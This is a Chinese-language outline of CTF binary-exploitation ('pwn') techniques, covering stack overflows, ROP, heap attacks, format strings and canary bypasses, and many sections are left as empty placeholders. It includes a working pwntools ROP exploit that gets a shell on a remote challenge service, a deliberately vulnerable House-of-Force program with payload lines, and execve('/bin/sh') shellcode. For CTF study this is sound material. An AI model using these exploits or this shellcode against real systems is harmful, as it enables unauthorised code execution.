CTF中pwn的总结

> 前言：梳理知识体系，更好的掌握知识。

1.栈(Stack)

1.1 栈溢出

> 原理：用户数据覆盖返回地值，导致$pc可控。

1.1.1 x86

1.基础利用

例子：CUIT极客大挑战2015 - pwn1

关闭所有保护 `gcc -o vuln vuln.c -fno-stack-protector -z execstack` `echo 0 > /proc/sys/kernel/randomize_va_space` 利用peda自带的`pattern_create`和`pattern_offset`确定payload结构 `"A"*44 + "BBBB"` ++exp 略(实战几乎没有0保护的)++

2.绕过缓解措施(NX+ASLR)

重新编译之前的程序 `gcc -o vuln vuln.c` `echo 2 > /proc/sys/kernel/randomize_va_space` 这样，开启了栈保护和地址随机化(等级2)

3.ret2系列

- 动态链接

程序是动态链接的，可以使用pwntools中的Dynelf库去做leak。 讲一个小技巧，有时候没有必要leak，可以随便泄露两个函数，然后去libc.db去查询libc版本，然后确定system函数地址。 ++exp如下：++

```
a
```

- 静态链接

程序静态链接的话，不能使用DynELF，只能自己构造ROP链，mmap分配空间，写sc进去，然后跳过去执行。

例子：一个wg中的pwn5 分析过程：

++ exp 如下： ++

```
b
```

1.1.1 x64

1. 和x86的区别

主要是两个方面

1. 地址：32bit-->64bit,地址不能大于0x00007fffffffffff 否则会抛出异常。
2. 函数调用传参:前6个参数在寄存器中，之后的存在栈里。寄存器顺序是：RDI RSI RDX RCX R8 R9

2.绕过缓解措施(NX+ASLR)

ROP的思路去leak需要的函数，然后组成ROP链去getshell

例子：RCTF pwn200 题目信息：

```
x64  stackoverflow
bypass NX,ASLR
利用pwntools 的 DynELF 去leak地址，结合elf文件的 通用型 ROPgadgets，去构造ROP
```

关键部分就在这里了，通过通用型ROPgadgets去构造ROP链。 详细可以看下drops蒸米的文章(一步一步学ROP--x64篇)

exp如下

```
#!/usr/bin/env python
# coding=utf-8
# author:muhe
# http://www.cnblogs.com/0xmuhe/
from pwn import *

elf = ELF('./pwn200')
p=remote('127.0.0.1',6666)
#p = remote('180.76.178.48',6666)
#p = process('./pwn200')
addr1=0x40089A
addr2=0x400880
main_addr = 0x4007CD
ppppr=0x40089c
bss_addr=0x601078
got_write = elf.got['write']
got_read = elf.got['read']

flag=True
def leak(address):
    global flag
    junk = "A"*24
    p1=""
    p1+=junk
    p1+=p64(ppppr)
    p1+=p64(addr1)
    p1+=p64(0)+p64(1)+p64(got_write)+p64(8)+p64(address)+p64(1)
    p1+=p64(addr2)
    p1+="\x00"*56
```

```
    p1+=p64(main_addr)
    p.recvuntil('F\n')
    p.send(p1)
    #raw_input()
    if flag:
        data = p.recv(8)
        flag=False
    else:
        p.recv(0x1b)
        data = p.recv(8)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

d = DynELF(leak, elf=ELF('./pwn200'))
system_addr = d.lookup('system','libc')
print "system_addr=" + hex(system_addr)

#----------------write /bin/sh to .bss----------------#
junk = "A"*24
payload=""
payload+=junk
payload+=p64(ppppr)
payload+=p64(addr1)
payload+=p64(0)+p64(1)+p64(got_read)+p64(24)+p64(bss_addr)+p64(0)
#    addr_junk_rbx_rbp_r12_r13_r14_r15
#order:RDI  RSI  RDX  RCX  R8  R9
payload+=p64(addr2)
payload+="\x00"*56
payload+=p64(main_addr)

p.recvuntil('F\n')
print "payload 1 ...."
#raw_input()
p.send(payload)
sleep(1)
p.send("AAAABBBB")
p.send("/bin/sh\0")
p.send(p64(system_addr))
#raw_input()
print "sent .."
#raw_input()
sleep(1)

#-----------------get shell --------------------------#
junk = "A"*24
payload2=""
payload2+=junk
payload2+=p64(ppppr)
payload2+=p64(addr1)
```

```
payload2+=p64(0)+p64(1)+p64(bss_addr+16)+p64(1)+p64(1)+p64(bss_addr+8)
#    addr_junk_rbx_rbp_r12_r13_r14_r15
#order:RDI  RSI  RDX  RCX  R8  R9
payload2+=p64(addr2)
payload2+="\x00"*56
payload2+=p64(main_addr)

p.recvuntil('F\n')
#raw_input()
print "payload 2 ...."
p.send(payload2)
print "ok get shell"
p.interactive()
```

1.2 栈上变量未初始化

```
2018 inctf securepad
```

1.3 off-by-one

1.4 stack pivot

2013 PlaidCTF ropasaurusrex

2.堆(Heap)

2.1 Malloc Maleficarum

这部分来源phrack和 sploitfun以及freebuf

2.1.1 The House of Prime

在调用函数malloc后，要求两个释放的堆块包含攻击者可控的size字段。

2.1.2 The House of Mind

要求能够操作程序反复分配新的内存。

2.1.3 The House of Force

要求能够重写顶块，并且存在一个可控size的malloc 函数，最后还需要再调用另一个malloc函数。

```
/*
House of force vulnerable program.
```

```
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char *buf1, *buf2, *buf3;
        if (argc != 4) {
                printf("Usage Error\n");
                return;
        }
        [1]buf1 = malloc(256);
        [2]strcpy(buf1, argv[1]); /* Prereq 1 */
        [3]buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */
        [4]buf3 = malloc(256); /* Prereq 3 */
        [5]strcpy(buf3, argv[3]); /* Prereq 3 */

        [6]free(buf3);
        free(buf2);
        free(buf1);
        return 0;
}

/*
free@got entry  0x08049830
top             0x0804a108
size = ((0x08049830 - 0x8) - 0x0804a108) -0x8 = 0xFFFFF718
python -c 'print "A"*260 + "\xff\xff\xff\xff" +" "+"0xFFFFF718"+" "+"AAAA"' >
1
control eip --> 0x41414141
---
heap addr is : 0x804a008
change payload to:
shellcode =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\
x89\xe1\xb0\x0b\xcd\x80"
python -c 'print "A"*260 + "\xff\xff\xff\xff" +" "+"0xFFFFF718"+"
"+"\x08\xa0\x04\x08"' > 1
*/
```

第一个参数改写top chunk的size，第二个参数用来指定分配的块，第三个指定复制到第三个块的值(sc地址)。 在这个例子中，通过设置第二个参数，使得第三次分配到`free@got`的地址，然后通过后面的`strcpy()`来改写。 关于原理部分，还是要看malloc源码源码 计算size的公式

Attacker argument (argv[2] – 0xFFFFF744) gets passed as size argument to second malloc call (line[3]). The size argument is calculated using below formulae:

- size = ((free-8)-top) -where

- free is “GOT entry of free in executable ‘vuln’” ie) free = 0x08049858. -top is “current top chunk (after first malloc line[1])” ie) top = 0x0804a108. -Thus size = ((0x8049858-0x8)-0x804a108) = -8B8 = 0xFFFFF748 -When size = 0xFFFFF748 our objective of placing the new top chunk 8 bytes before the GOT entry of free is achieved as shown below: -(0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8) -But when attacker passes a size argument of 0xFFFFF748 ‘glibc malloc’ converts the size into usable size 0xFFFFF750 and hence now new top chunk size would be located at 0x8049858 instead of 0x8049850. Therefore instead of 0xFFFFF748 attacker should pass 0xFFFFF744 as size argument, which gets converted into usable size ‘0xFFFFF748’ as we require!!

2.1.4 The House of Lore

```
null
```

2.1.5 The House of Spirit

攻击者伪造堆块，使free()函数去free伪造的堆块，然后在随后的一个malloc()分配中去分配到一个栈上的地址(包含ret addr)，然后进一步利用。 注意：本例来自sploitFun，但是他的gcc版本应该比较低，所以没有复现成功，我直接在gdb里用set各种改值，去伪造了堆块；但是为了分配到一个fastbin，需要过check，即malloc()检查下一个fastbin。 这里附上源码，gdb调试记录见附录。

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void fvuln(char *str1, int age)
{
  char *ptr1;
  int local_age;
  char name[32];
  char *ptr2;

  local_age = age;

  ptr1 = (char *) malloc(256);
  printf("\nPTR1 = [ %p ]", ptr1);
  strcpy(name, str1);
  printf("\nPTR1 = [ %p ]\n", ptr1);

  free(ptr1);

  ptr2 = (char *) malloc(40);

  snprintf(ptr2, 40-1, "%s is %d years old", name, local_age);
  printf("\n%s\n", ptr2);
}

int main(int argc, char *argv[])
```

```
{
  int pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0};

  if (argc == 3)
    fvuln(argv[1], atoi(argv[2]));

  return 0;
}
```

例子： hack.lu CTF 2014-OREO 例子的利用有待更新...

2.1.6 The House of Chaos

```
null
```

2.1.7 The House of Orange

HITCON houseoforange

2.1.8 The house of Raibit

2.2 UAF(use after free)

例子：pwnable.kr的level 1 中的 UAF

2.3 老版本的heap vuln

```
利用free()函数，在没有检查的情况下，任意地址写。
```

```
#define unlink(P,BK,FD){
  BK = P->bk;
    FD = p->fd;
  FD->bk = BK;
    BK->fd = FD;
}
```

利用思路：

```
prev_size = 任意值
size = -4(因为最低位的flag没有设置，所以prev_size是什么值是无所谓了)
fd = free@got-12
bk = shellcode地址
```

例子：defcon CTF 2014 baby-heap

2.4 unlink

> 需要一个全局变量的数组，存储指针。

例子：hitcon2014 stkof && SCTF 2016 pwn300

2.5 double-free

> 暂无

2.6 off-by-one

```
plaidctf 2015 plaiddb
```

2.7 fastbin

> 利用了`malloc()`，去分配到想要分配的内存。

例子：CUIT校赛决赛2016 -- shop

2.8 main_arena

2.8.1 x86

例子：http://217.logdown.com/posts/241446-isg-2014-pepper

2.8.1 x64

3.格式化字符串(Formatsting)

- x86 泄露顺序 stack[0],stack[1],stack[2]....
- x64 泄露顺序:

3.1 输入在栈中

例子：CCTF-2016 pwn3

3.2 输入不在栈中(全局变量)

例子：plaidctf-2015 ebp

4.其他利用

4.1 整形溢出

4.2 fsp-overflow

例子：之前在drops看到的ricter的文章

4.3 ssp leak

例子：ZCTF-2016 pwn1

5.一些缓解措施绕过中的trick

5.1 canary 爆破

5.2 canary leak

5.3 one gadget RCE

5.4 free_hook / malloc_hook 劫持程序流程

6.AD模式中的pwn

6.1 通用防御